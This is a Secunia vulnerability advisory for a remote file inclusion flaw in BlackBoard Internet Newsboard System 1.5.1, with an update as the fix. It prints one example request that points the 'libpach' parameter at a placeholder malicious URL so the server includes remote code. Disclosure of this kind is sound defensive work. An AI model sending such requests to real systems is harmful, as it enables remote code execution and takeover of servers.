TITLE:
BlackBoard Internet Newsboard System Arbitrary File Inclusion

SECUNIA ADVISORY ID:
SA12757

VERIFY ADVISORY:
http://secunia.com/advisories/12757/

CRITICAL:
Highly critical

IMPACT:
System access

WHERE:
From remote

SOFTWARE:
BlackBoard Internet Newsboard System 1.x
http://secunia.com/product/4016/

DESCRIPTION:
Cracklove has reported a vulnerability in BlackBoard Internet
Newsboard System, which can be exploited by malicious people to
compromise a vulnerable system.

Input passed to the "libpach" parameter in "checkdb.inc.php" is not
properly verified, before it is used to include files. This can be
exploited to include arbitrary files from external and local
resources.

Example:
http://[victim]/bb_lib/checkdb.inc.php?libpach=[malicious_URL]

It is reportedly also possible to disclose the full path to certain
scripts by accessing them directly.

The vulnerability has been reported in version 1.5.1. Prior versions
may also be affected.

SOLUTION:
Update to version 1.5.1-h.

Error reporting should either be disabled on production systems or
error messages should be logged to files without being returned to
the client.
